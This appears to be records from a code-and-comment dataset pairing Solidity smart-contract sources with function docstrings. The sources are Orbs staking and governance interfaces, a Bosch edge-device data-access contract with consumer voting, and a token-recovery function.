staked amounts. function stakeChangeBatch(address[] calldata _stakeOwners, uint256[] calldata _amounts, bool[] calldata _signs, uint256[] calldata _updatedStakes) external; /// @dev Notifies of stake migration event. /// @param _stakeOwner address The address of the subject stake owner. /// @param _amount uint256 The migrated amount. function stakeMigration(address _stakeOwner, uint256 _amount) external; } // File: contracts/interfaces/IElections.sol pragma solidity 0.5.16; /// @title Elections contract interface interface IElections /* is IStakeChangeNotifier */ { // Election state change events event GuardianVotedUnready(address guardian); event GuardianVotedOut(address guardian); // Function calls event VoteUnreadyCasted(address voter, address subject); event VoteOutCasted(address voter, address subject); event StakeChanged(address addr, uint256 selfStake, uint256 delegated_stake, uint256 effective_stake); event GuardianStatusUpdated(address addr, bool readyToSync, bool readyForCommittee); // Governance event VoteUnreadyTimeoutSecondsChanged(uint32 newValue, uint32 oldValue); event MinSelfStakePercentMilleChanged(uint32 newValue, uint32 oldValue); event VoteOutPercentageThresholdChanged(uint8 newValue, uint8 oldValue); event VoteUnreadyPercentageThresholdChanged(uint8 newValue, uint8 oldValue); /* * External methods */ /// @dev Called by a guardian as part of the automatic vote-out flow function voteUnready(address subject_addr) external; /// @dev casts a voteOut vote by the sender to the given address function voteOut(address subjectAddr) external; /// @dev Called by a guardian when ready to start syncing with other nodes function readyToSync() external; /// @dev Called by a guardian when ready to join the committee, typically after syncing is complete or after being voted out function readyForCommittee() external; /* * Methods restricted to other Orbs contracts */ /// @dev Called by: delegation contract /// Notifies a delegated stake change event /// total_delegated_stake = 0 if addr delegates to another guardian function delegatedStakeChange(address addr, uint256 selfStake, uint256 delegatedStake, uint256 totalDelegatedStake) external /* onlyDelegationContract */; /// @dev Called by: guardian registration contract /// Notifies a new guardian was registered function guardianRegistered(address addr) external /* onlyGuardiansRegistrationContract */; /// @dev Called by: guardian registration contract /// Notifies a new guardian was unregistered function guardianUnregistered(address addr) external /* onlyGuardiansRegistrationContract */; /// @dev Called by: guardian registration contract /// Notifies on a guardian certification change function guardianCertificationChanged(address addr, bool isCertified) external /* onlyCertificationContract */; /* * Governance */ /// @dev Updates the address of the contract registry function setContractRegistry(IContractRegistry _contractRegistry) external /* onlyMigrationOwner */; function setVoteUnreadyTimeoutSeconds(uint32 voteUnreadyTimeoutSeconds) external /* onlyFunctionalOwner onlyWhenActive */; function setMinSelfStakePercentMille(uint32 minSelfStakePercentMille) external /* onlyFunctionalOwner onlyWhenActive */; function setVoteOutPercentageThreshold(uint8 voteUnreadyPercentageThreshold) external /* onlyFunctionalOwner onlyWhenActive */; function setVoteUnreadyPercentageThreshold(uint8 voteUnreadyPercentageThreshold) external /* onlyFunctionalOwner onlyWhenActive */; function getSettings() external view returns ( uint32 voteUnreadyTimeoutSeconds, uint32 minSelfStakePercentMille, uint8 voteUnreadyPercentageThreshold, uint8 voteOutPercentageThreshold ); } // File: contracts/spec_interfaces/IGuardiansRegistration.sol pragma solidity 0.5.16; /// @title Elections contract interface interface IGuardiansRegistration { event GuardianRegistered(address addr); event GuardianDataUpdated(address addr, bytes4 ip, address orbsAddr, string name, string website, string contact); event GuardianUnregistered(address addr); event GuardianMetadataChanged(address addr, string key, string newValue, string oldValue); /* * External methods */ /// @dev Called by a participant who wishes to register as a guardian function registerGuardian(bytes4 ip, address orbsAddr, string calldata name, string calldata website, string calldata contact) external; /// @dev Called by a participant who wishes to update its propertires function updateGuardian(bytes4 ip, address orbsAddr, string calldata name, string calldata website, string calldata contact) external; /// @dev Called by a participant who wishes to update its IP address (can be call by both main and Orbs addresses) function updateGuardianIp(bytes4 ip) external /* onlyWhenActive */; /// @dev Called by a participant to update additional guardian metadata properties. function setMetadata(string calldata key, string calldata value) external; /// @dev Called by a participant to get additional guardian metadata properties. function getMetadata(address addr, string calldata key) external view returns (string memory); /// @dev Called by a participant who wishes to unregister function unregisterGuardian() external; /// @dev Returns a guardian's data /// Used also by the Election contract function getGuardianData(address addr) external view returns (bytes4 ip, address orbsAddr, string memory name, string memory website, string memory contact, uint registration_time, uint last_update_time); /// @dev Returns the Orbs addresses of a list of guardians /// Used also by the committee contract function getGuardiansOrbsAddress(address[] calldata addrs) external view returns (address[] memory orbsAddrs); /// @dev Returns a guardian's ip /// Used also by the Election contract function getGuardianIp(address addr) external view returns (bytes4 ip); /// @dev Returns guardian ips function getGuardianIps(address[] calldata addr) external view returns (bytes4[] memory ips); /// @dev Returns true if the given address is of a registered guardian /// Used also by the Election contract function isRegistered(address addr) external view returns (bool); /* * Methods restricted to other Orbs contracts */ /// @dev Translates a list guardians Ethereum addresses to Orbs addresses /// Used by the Election contract function getOrbsAddresses(address[] calldata ethereumAddrs) external view returns (address[] memory orbsAddr); /// @dev Translates a list guardians Orbs addresses to Ethereum addresses /// Used by the Election contract function getEthereumAddresses(address[] calldata orbsAddrs) external view returns (address[] memory ethereumAddr); /// @dev Resolves the ethereum address for a guardian, given an Ethereum/Orbs address function resolveGuardianAddress(address ethereumOrOrbsAddress) external view returns (address mainAddress); } // File: contracts/spec_interfaces/ISubscriptions.sol pragma solidity 0.5.16; /// @title Subscriptions contract interface interface ISubscriptions { event SubscriptionChanged(uint256 vcid, uint256 genRefTime, uint256 expiresAt, string tier, string deploymentSubset); event Payment(uint256 vcid, address by, uint256 amount, string tier, uint256 rate); event VcConfigRecordChanged(uint256 vcid, string key, string value); event SubscriberAdded(address subscriber); event VcCreated(uint256 vcid, address owner); // TODO what about isCertified, deploymentSubset? event VcOwnerChanged(uint256 vcid, address previousOwner, address newOwner); /* * Methods restricted to other Orbs contracts */ /// @dev Called by: authorized subscriber (plan) contracts /// Creates a new VC function createVC(string calldata tier, uint256 rate, uint256 amount, address owner, bool isCertified, string calldata deploymentSubset) external returns (uint, uint); /// @dev Called by: authorized subscriber (plan) contracts /// Extends the subscription of an existing VC. function extendSubscription(uint256 vcid, uint256 amount, address payer) external; /// @dev called by VC owner to set a VC config record. Emits a VcConfigRecordChanged event. function setVcConfigRecord(uint256 vcid, string calldata key, string calldata value) external /* onlyVcOwner */; /// @dev returns the value of a VC config record function getVcConfigRecord(uint256 vcid, string calldata key) external view returns (string memory); /// @dev Transfers VC ownership to a new owner (can only be called by the current owner) function setVcOwner(uint256 vcid, address owner) external /* onlyVcOwner */; /// @dev Returns the genesis ref time delay function getGenesisRefTimeDelay() external view returns (uint256); /* * Governance methods */ /// @dev Called by the owner to authorize a subscriber (plan) function addSubscriber(address addr) external /* onlyFunctionalOwner */; /// @dev Called by the owner to set the genesis ref time delay function setGenesisRefTimeDelay(uint256 newGenesisRefTimeDelay) external /* onlyFunctionalOwner */; /// @dev Updates the address of the contract registry function setContractRegistry(IContractRegistry _contractRegistry) external /* onlyMigrationOwner */; } // File: contracts/spec_interfaces/IDelegation.sol pragma solidity 0.5.16; /// @title Elections contract interface interface IDelegations /* is IStakeChangeNotifier */ { // Delegation state change events event DelegatedStakeChanged(address indexed addr, uint256 selfDelegatedStake, uint256 delegatedStake, address[] delegators, uint256[] delegatorTotalStakes); // Function calls event Delegated(address indexed from, address indexed to); /* * External methods */ /// @dev Stake delegation function delegate(address to) external /* onlyWhenActive */; function refreshStakeNotification(address addr) external /* onlyWhenActive */; /* * Governance */ /// @dev Updates the address calldata of the contract registry function setContractRegistry(IContractRegistry _contractRegistry) external /* onlyMigrationOwner */; function importDelegations(address[] calldata from, address[] calldata to, bool notifyElections) external /* onlyMigrationOwner onlyDuringDelegationImport */; function finalizeDelegationImport() external /* onlyMigrationOwner onlyDuringDelegationImport */; event DelegationsImported(address[] from, address[] to, bool notifiedElections); event DelegationImportFinalized(); /* * Getters */ function getDelegatedStakes(address addr) external view returns (uint256); function getSelfDelegatedStake(address addr) external view returns (uint256); function getDelegation(address addr) external view returns (address); function getTotalDelegatedStake() external view returns (uint256) ; } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/IMigratableStakingContract.sol pragma solidity 0.5.16; /// @title An interface for staking contracts which support stake migration. interface IMigratableStakingContract { /// @dev Returns the address of the underlying staked token. /// @return IERC20 The address of the token. function getToken() external view returns (IERC20); /// @dev Stakes ORBS tokens on behalf of msg.sender. This method assumes that the user has already approved at least /// the required amount using ERC20 approve. /// @param _stakeOwner address The specified stake owner. /// @param _amount uint256 The number of tokens to stake. function acceptMigration(address _stakeOwner, uint256 _amount) external; event AcceptedMigration(address indexed stakeOwner, uint256 amount, uint256 totalStakedAmount); } // File: contracts/IStakingContract.sol pragma solidity 0.5.16; /// @title An interface for staking contracts. interface IStakingContract { /// @dev Stakes ORBS tokens on behalf of msg.sender. This method assumes that the user has already approved at least /// the required amount using ERC20 approve. /// @param _amount uint256 The amount of tokens to stake. function stake(uint256 _amount) external; /// @dev Unstakes ORBS tokens from msg.sender. If successful, this will start the cooldown period, after which /// msg.sender would be able to withdraw all of his tokens. /// @param _amount uint256 The amount of tokens to unstake. function unstake(uint256 _amount) external; /// @dev Requests to withdraw all of staked ORBS tokens back to msg.sender. Stake owners can withdraw their ORBS /// tokens only after previously unstaking them and after the cooldown period has passed (unless the contract was /// requested to release all stakes). function withdraw() external; /// @dev Restakes unstaked ORBS tokens (in or after cooldown) for msg.sender. function restake() external; /// @dev Distributes staking rewards to a list of addresses by directly adding rewards to their stakes. This method /// assumes that the user has already approved at least the required amount using ERC20 approve. Since this is a /// convenience method, we aren't concerned about reaching block gas limit by using large lists. We assume that /// callers will be able to properly batch/paginate their requests. /// @param _totalAmount uint256 The total amount of rewards to distributes. /// @param _stakeOwners address[] The addresses of the stake owners. /// @param _amounts uint256[] The amounts of the rewards. function distributeRewards(uint256 _totalAmount, address[] calldata _stakeOwners, uint256[] calldata _amounts) external; /// @dev Returns the stake of the specified stake owner (excluding unstaked tokens). /// @param _stakeOwner address The address to check. /// @return uint256 The total stake. function getStakeBalanceOf(address _stakeOwner) external view returns (uint256); /// @dev Returns the total amount staked tokens (excluding unstaked tokens). /// @return uint256 The total staked tokens of all stake owners. function getTotalStakedTokens() external view returns (uint256); /// @dev Returns the time that the cooldown period ends (or ended) and the amount of tokens to be released. /// @param _stakeOwner address The address to check. /// @return cooldownAmount uint256 The total tokens in cooldown. /// @return cooldownEndTime uint256 The time when the cooldown period ends (in seconds). function getUnstakeStatus(address _stakeOwner) external view returns (uint256 cooldownAmount, uint256 cooldownEndTime); /// @dev Migrates the stake of msg.sender from this staking contract to a new approved staking contract. /// @param _newStakingContract IMigratableStakingContract The new staking contract which supports stake migration. /// @param _amount uint256 The amount of tokens to migrate. function migrateStakedTokens(IMigratableStakingContract _newStakingContract, uint256 _amount) external; event Staked(address indexed stakeOwner, uint256 amount, uint256 totalStakedAmount); event Unstaked(address indexed stakeOwner, uint256 amount, uint256 totalStakedAmount); event Withdrew(address indexed stakeOwner, uint256 amount, uint256 totalStakedAmount); event Restaked(address indexed stakeOwner, uint256 amount, uint256 totalStakedAmount); event MigratedStake(address indexed stakeOwner, uint256 amount, uint256 totalStakedAmount); } // File: contracts/interfaces/IRewards.sol pragma solidity 0.5.16; /// @title Rewards contract interface interface IRewards { function assignRewards() external; function assignRewardsToCommittee(address[] calldata generalCommittee, uint256[] calldata generalCommitteeWeights, bool[] calldata certification) external /* onlyCommitteeContract */; // staking event StakingRewardsDistributed(address indexed distributer, uint256 fromBlock, uint256 toBlock, uint split, uint txIndex, address[] to, uint256[] amounts); event StakingRewardsAssigned(address[] assignees, uint256[] amounts); // todo balance? event StakingRewardsAddedToPool(uint256 added, uint256 total); event MaxDelegatorsStakingRewardsChanged(uint32 maxDelegatorsStakingRewardsPercentMille); /// @return Returns the currently unclaimed orbs token reward balance of the given address. function getStakingRewardBalance(address addr) external view returns (uint256 balance); /// @dev Distributes msg.sender's orbs token rewards to a list of addresses, by transferring directly into the staking contract. /// @dev `to[0]` must be the sender's main address /// @dev Total delegators reward (`to[1:n]`) must be less then maxDelegatorsStakingRewardsPercentMille of total amount function distributeOrbsTokenStakingRewards(uint256 totalAmount, uint256 fromBlock, uint256 toBlock, uint split, uint txIndex, address[] calldata to, uint256[] calldata amounts) external; /// @dev Transfers the given amount of orbs tokens form the sender to this contract an update the pool. function topUpStakingRewardsPool(uint256 amount) external; /* * Reward-governor methods */ /// @dev Assigns rewards and sets a new monthly rate for the pro-rata pool. function setAnnualStakingRewardsRate(uint256 annual_rate_in_percent_mille, uint256 annual_cap) external /* onlyFunctionalOwner */; // fees event FeesAssigned(uint256 generalGuardianAmount, uint256 certifiedGuardianAmount); event FeesWithdrawn(address guardian, uint256 amount); event FeesWithdrawnFromBucket(uint256 bucketId, uint256 withdrawn, uint256 total, bool isCertified); event FeesAddedToBucket(uint256 bucketId, uint256 added, uint256 total, bool isCertified); /* * External methods */ /// @return Returns the currently unclaimed orbs token reward balance of the given address. function getFeeBalance(address addr) external view returns (uint256 balance); /// @dev Transfer all of msg.sender's outstanding balance to their account function withdrawFeeFunds() external; /// @dev Called by: subscriptions contract /// Top-ups the certification fee pool with the given amount at the given rate (typically called by the subscriptions contract) function fillCertificationFeeBuckets(uint256 amount, uint256 monthlyRate, uint256 fromTimestamp) external; /// @dev Called by: subscriptions contract /// Top-ups the general fee pool with the given amount at the given rate (typically called by the subscriptions contract) function fillGeneralFeeBuckets(uint256 amount, uint256 monthlyRate, uint256 fromTimestamp) external; function getTotalBalances() external view returns (uint256 feesTotalBalance, uint256 stakingRewardsTotalBalance, uint256 bootstrapRewardsTotalBalance); // bootstrap event BootstrapRewardsAssigned(uint256 generalGuardianAmount, uint256 certifiedGuardianAmount); event BootstrapAddedToPool(uint256 added, uint256 total); event BootstrapRewardsWithdrawn(address guardian, uint256 amount); /* * External methods */ /// @return Returns the currently unclaimed bootstrap balance of the given address. function getBootstrapBalance(address addr) external view returns (uint256 balance); /// @dev Transfer all of msg.sender's outstanding balance to their account function withdrawBootstrapFunds() external; /// @return The timestamp of the last reward assignment. function getLastRewardAssignmentTime() external view returns (uint256 time); /// @dev Transfers the given amount of bootstrap tokens form the sender to this contract and update the pool. /// Assumes the tokens were approved for transfer function topUpBootstrapPool(uint256 amount) external; /* * Reward-governor methods */ /// @dev Assigns rewards and sets a new monthly rate for the geenral commitee bootstrap. function setGeneralCommitteeAnnualBootstrap(uint256 annual_amount) external /* onlyFunctionalOwner */; /// @dev Assigns rewards and sets a new monthly rate for the certification commitee bootstrap. function setCertificationCommitteeAnnualBootstrap(uint256 annual_amount) external /* onlyFunctionalOwner */; event EmergencyWithdrawal(address addr); function emergencyWithdraw() external /* onlyMigrationManager */; /* * General governance */ /// @dev Updates the address of the contract registry function setContractRegistry(IContractRegistry _contractRegistry) external /* onlyMigrationOwner */; } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/WithClaimableMigrationOwnership.sol pragma solidity 0.5.16; /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract WithClaimableMigrationOwnership is Context{ address private _migrationOwner; address pendingMigrationOwner; event MigrationOwnershipTransferred(address indexed previousMigrationOwner, address indexed newMigrationOwner); /** * @dev Initializes the contract setting the deployer as the initial migrationMigrationOwner. */ constructor () internal { address msgSender = _msgSender(); _migrationOwner = msgSender; emit MigrationOwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current migrationOwner. */ function migrationOwner() public view returns (address) { return _migrationOwner; } /** * @dev Throws if called by any account other than the migrationOwner. */ modifier onlyMigrationOwner() { require(isMigrationOwner(), "WithClaimableMigrationOwnership: caller is not the migrationOwner"); _; } /** * @dev Returns true if the caller is the current migrationOwner. */ function isMigrationOwner() public view returns (bool) { return _msgSender() == _migrationOwner; } /** * @dev Leaves the contract without migrationOwner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current migrationOwner. * * NOTE: Renouncing migrationOwnership will leave the contract without an migrationOwner, * thereby removing any functionality that is only available to the migrationOwner. */ function renounceMigrationOwnership() public onlyMigrationOwner { emit MigrationOwnershipTransferred(_migrationOwner, address(0)); _migrationOwner = address(0); } /** * @dev Transfers migrationOwnership of the contract to a new account (`newOwner`). */ function _transferMigrationOwnership(address newMigrationOwner) internal { require(newMigrationOwner != address(0), "MigrationOwner: new migrationOwner is the zero address"); emit MigrationOwnershipTransferred(_migrationOwner, newMigrationOwner); _migrationOwner = newMigrationOwner; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingMigrationOwner() { require(msg.sender == pendingMigrationOwner, "Caller is not the pending migrationOwner"); _; } /** * @dev Allows the current migrationOwner to set the pendingOwner address. * @param newMigrationOwner The address to transfer migrationOwnership to. */ function transferMigrationOwnership(address newMigrationOwner) public onlyMigrationOwner { pendingMigrationOwner = newMigrationOwner; } /** * @dev Allows the pendingMigrationOwner address to finalize the transfer. */ function claimMigrationOwnership() external onlyPendingMigrationOwner { _transferMigrationOwnership(pendingMigrationOwner); pendingMigrationOwner = address(0); } } // File: contracts/Lockable.sol pragma solidity 0.5.16; /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Lockable is WithClaimableMigrationOwnership { bool public locked; event Locked(); event Unlocked(); function lock() external onlyMigrationOwner { locked = true; emit Locked(); } function unlock() external onlyMigrationOwner { locked = false; emit Unlocked(); } modifier onlyWhenActive() { require(!locked, "contract is locked for this operation"); _; } } // File: contracts/spec_interfaces/IProtocolWallet.sol pragma solidity 0.5.16; pragma solidity 0.5.16; /// @title Protocol Wallet interface interface IProtocolWallet { event FundsAddedToPool(uint256 added, uint256 total); event ClientSet(address client); event MaxAnnualRateSet(uint256 maxAnnualRate); event EmergencyWithdrawal(address addr); /// @dev Returns the address of the underlying staked token. /// @return IERC20 The address of the token. function getToken() external view returns (IERC20); /// @dev Returns the address of the underlying staked token. /// @return IERC20 The address of the token. function getBalance() external view returns (uint256 balance); /// @dev Transfers the given amount of orbs tokens form the sender to this contract an update the pool. function topUp(uint256 amount) external; /// @dev Withdraw from pool to a the sender's address, limited by the pool's MaxRate. /// A maximum of MaxRate x time period since the last Orbs transfer may be transferred out. /// Flow: /// PoolWallet.approveTransfer(amount); /// ERC20.transferFrom(PoolWallet, client, amount) function withdraw(uint256 amount) external; /* onlyClient */ /* Governance */ /// @dev Sets a new transfer rate for the Orbs pool. function setMaxAnnualRate(uint256 annual_rate) external; /* onlyMigrationManager */ /// @dev transfer the entire pool's balance to a new wallet. function emergencyWithdraw() external; /* onlyMigrationManager */ /// @dev sets the address of the new contract function setClient(address client) external; /* onlyFunctionalManager */ } // File: contracts/ContractRegistryAccessor.sol pragma solidity 0.5.16; contract ContractRegistryAccessor is WithClaimableMigrationOwnership { IContractRegistry contractRegistry; event ContractRegistryAddressUpdated(address addr); function setContractRegistry(IContractRegistry _contractRegistry) external onlyMigrationOwner { contractRegistry = _contractRegistry; emit ContractRegistryAddressUpdated(address(_contractRegistry)); } function getProtocolContract() public view returns (IProtocol) { return IProtocol(contractRegistry.get("protocol")); } function getRewardsContract() public view returns (IRewards) { return IRewards(contractRegistry.get("rewards")); } function getCommitteeContract() public view returns (ICommittee) { return ICommittee(contractRegistry.get("committee")); } function getElectionsContract() public view returns (IElections) { return IElections(contractRegistry.get("elections")); } function getDelegationsContract() public view returns (IDelegations) { return IDelegations(contractRegistry.get("delegations")); } function getGuardiansRegistrationContract() public view returns (IGuardiansRegistration) { return IGuardiansRegistration(contractRegistry.get("guardiansRegistration")); } function getCertificationContract() public view returns (ICertification) { return ICertification(contractRegistry.get("certification")); } function getStakingContract() public view returns (IStakingContract) { return IStakingContract(contractRegistry.get("staking")); } function getSubscriptionsContract() public view returns (ISubscriptions) { return ISubscriptions(contractRegistry.get("subscriptions")); } function getStakingRewardsWallet() public view returns (IProtocolWallet) { return IProtocolWallet(contractRegistry.get("stakingRewardsWallet")); } function getBootstrapRewardsWallet() public view returns (IProtocolWallet) { return IProtocolWallet(contractRegistry.get("bootstrapRewardsWallet")); } } // File: contracts/WithClaimableFunctionalOwnership.sol pragma solidity 0.5.16; /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract WithClaimableFunctionalOwnership is Context{ address private _functionalOwner; address pendingFunctionalOwner; event FunctionalOwnershipTransferred(address indexed previousFunctionalOwner, address indexed newFunctionalOwner); /** * @dev Initializes the contract setting the deployer as the initial functionalFunctionalOwner. */ constructor () internal { address msgSender = _msgSender(); _functionalOwner = msgSender; emit FunctionalOwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current functionalOwner. */ function functionalOwner() public view returns (address) { return _functionalOwner; } /** * @dev Throws if called by any account other than the functionalOwner. */ modifier onlyFunctionalOwner() { require(isFunctionalOwner(), "WithClaimableFunctionalOwnership: caller is not the functionalOwner"); _; } /** * @dev Returns true if the caller is the current functionalOwner. */ function isFunctionalOwner() public view returns (bool) { return _msgSender() == _functionalOwner; } /** * @dev Leaves the contract without functionalOwner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current functionalOwner. * * NOTE: Renouncing functionalOwnership will leave the contract without an functionalOwner, * thereby removing any functionality that is only available to the functionalOwner. */ function renounceFunctionalOwnership() public onlyFunctionalOwner { emit FunctionalOwnershipTransferred(_functionalOwner, address(0)); _functionalOwner = address(0); } /** * @dev Transfers functionalOwnership of the contract to a new account (`newOwner`). */ function _transferFunctionalOwnership(address newFunctionalOwner) internal { require(newFunctionalOwner != address(0), "FunctionalOwner: new functionalOwner is the zero address"); emit FunctionalOwnershipTransferred(_functionalOwner, newFunctionalOwner); _functionalOwner = newFunctionalOwner; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingFunctionalOwner() { require(msg.sender == pendingFunctionalOwner, "Caller is not the pending functionalOwner"); _; } /** * @dev Allows the current functionalOwner to set the pendingOwner address. * @param newFunctionalOwner The address to transfer functionalOwnership to. */ function transferFunctionalOwnership(address newFunctionalOwner) public onlyFunctionalOwner { pendingFunctionalOwner = newFunctionalOwner; } /** * @dev Allows the pendingFunctionalOwner address to finalize the transfer. */ function claimFunctionalOwnership() external onlyPendingFunctionalOwner { _transferFunctionalOwnership(pendingFunctionalOwner); pendingFunctionalOwner = address(0); } } // File: ../contracts/Certification.sol pragma solidity 0.5.16; contract Certification is ICertification, ContractRegistryAccessor, WithClaimableFunctionalOwnership, Lockable { mapping (address => bool) guardianCertification; /* * External methods */ function isGuardianCertified(address addr) external view returns (bool isCertified) { return guardianCertification[addr]; } function setGuardianCertification(address addr, bool isCertified) external onlyFunctionalOwner onlyWhenActive { guardianCertification[addr] = isCertified; emit GuardianCertificationUpdate(addr, isCertified); getElectionsContract().guardianCertificationChanged(addr, isCertified); } }
Modifier throws if called by any account other than the pendingOwner./
modifier onlyPendingFunctionalOwner() { require(msg.sender == pendingFunctionalOwner, "Caller is not the pending functionalOwner"); _; }
947,821
/* Copyright (c) 2017 Robert Bosch GmbH All rights reserved. This source code is licensed under the MIT license found in the LICENSE.md file in the root directory of this source tree. */ pragma solidity ^0.4.23; /* owner contract */ contract SecureEdgeDeviceOwner { /* Define variable owner of the type address*/ address owner; /* sets the owner of the contract to the creator */ constructor () public { owner = msg.sender; } /* function definitions including this modifier can only be called by the owner of the contract */ modifier onlyOwner { require(msg.sender == owner, "Only owner can call this function." ); _; } /* can be used to withdraw all contract funds - currently disabled */ /* function withdraw() public onlyOwner { owner.transfer(address(this).balance); } */ /* Function to recover the funds of the contract - should always be implemented */ /* sends all remaining contract funds back to owner - Owner can collect funds of negative votes with that function!!! */ function kill() public onlyOwner { selfdestruct(owner); } /* reject ether if it does not call a function */ /* if someone sends ether to a non payable or non existing function then it gets rejected by this default function */ function() payable public { revert("Function not supported"); } } /* working contract - derived contract from SecureEdgeDeviceOwner contract */ contract SecureEdgeDevice is SecureEdgeDeviceOwner { /* define dynamic variables publicKey and dataHash of type bytes */ bytes publicKey; bytes dataHash; /* variable to hold address of consumer */ address publicKeySenderAccountAddress; /* counter variables to hold votes for evaluation system */ uint256 positiveConsumerVotes = 0; uint256 totalConsumerVotes = 0; /* map an address to an integer value to store address and related balance */ mapping (address => uint256) balanceOf; /* current price is fixed but could be implemented so that the owner can change the price*/ uint256 constant currentPrice = 2 ether; uint256 constant currentVotingPrice = currentPrice/2; /* write public key - function payable because we require currentPrice to send along this function call */ function WritePublicKey(bytes publicKeyArg) public payable { /* Check if the sender has provided currentPrice ether along with the message */ require(msg.value == currentPrice, "Payed price does not match the current data price"); /* store locally who has deposited ether */ balanceOf[msg.sender] += (msg.value/2); balanceOf[owner] += (msg.value/2); /* store sender information */ publicKeySenderAccountAddress = msg.sender; publicKey = publicKeyArg; } /* read public key and sender address - only the contract owner */ function ReadPublicKey() public view onlyOwner returns (bytes, address) { return (publicKey, publicKeySenderAccountAddress); } /* write data hash - only the contract owner */ function WriteDataHash(bytes dataHashArg) public onlyOwner { dataHash = dataHashArg; } /* read data hash - everyone can read current data hash for free */ function ReadDataHash() public view returns (bytes) { return dataHash; } /* voting function for consumers to vote - for a positive vote, consumer gets refunded currentPrice/2 */ function rateProducer(bool positive) public { /* only authenticated consumers who paid for public key are allowed to vote */ require(balanceOf[msg.sender] >= currentVotingPrice, "Consumer already voted, no votes left"); /* producer is not allowed to vote - otherwise owner could create positive votes for himself */ require(msg.sender != owner, "Owner is not allowed to vote"); /* refund half of the price for positive voting */ if( true == positive ) { /* increment total voting counter */ totalConsumerVotes += 1; /* increment consumer vote counter */ positiveConsumerVotes += 1; /* transfer revenue for positive vote */ balanceOf[msg.sender] -= currentVotingPrice; msg.sender.transfer(currentVotingPrice); /* transfer the income to owner - otherwise it is stored in the contract itself */ if(balanceOf[owner] >= currentVotingPrice) { balanceOf[owner] -= currentVotingPrice; owner.transfer(currentVotingPrice); } /* don't refund for negative vote */ } else if ( false == positive ) { /* increment total voting counter */ totalConsumerVotes += 1; /* keep funds stored in contract - can be distributed somehow */ balanceOf[msg.sender] -= currentVotingPrice; balanceOf[owner] -= currentVotingPrice; } else { revert("Parameter value not supported"); } } /* read producer rating - consumer could decide based on this rating if he wants to work with producer */ function readProducerRating() public view returns (uint256) { return (positiveConsumerVotes*100/totalConsumerVotes); } /* client could get back his funds if he doesn't want to read data hash */ /* function RefundConsumer () public { require(balanceOf[msg.sender] >= 0); msg.sender.transfer(balanceOf[msg.sender]); balanceOf[msg.sender] = 0; } */ }
Function to recover the funds of the contract - should always be implemented / sends all remaining contract funds back to owner - Owner can collect funds of negative votes with that function!!! /
function kill() public onlyOwner { selfdestruct(owner); }
15,825,107
./partial_match/1/0x74230c0ab5229AA745AAE9632Ee0bE26053bf37a/sources/HAYCNFT.sol
Allows the owner to recover tokens sent to the contract by mistake _token: token address Callable by owner/
function recoverToken(address _token) external onlyOwner { uint256 balance = IBEP20(_token).balanceOf(address(this)); require(balance != 0, "Operations: Cannot recover zero balance"); IBEP20(_token).safeTransfer(address(msg.sender), balance); emit TokenRecovery(_token, balance); }
2,612,908
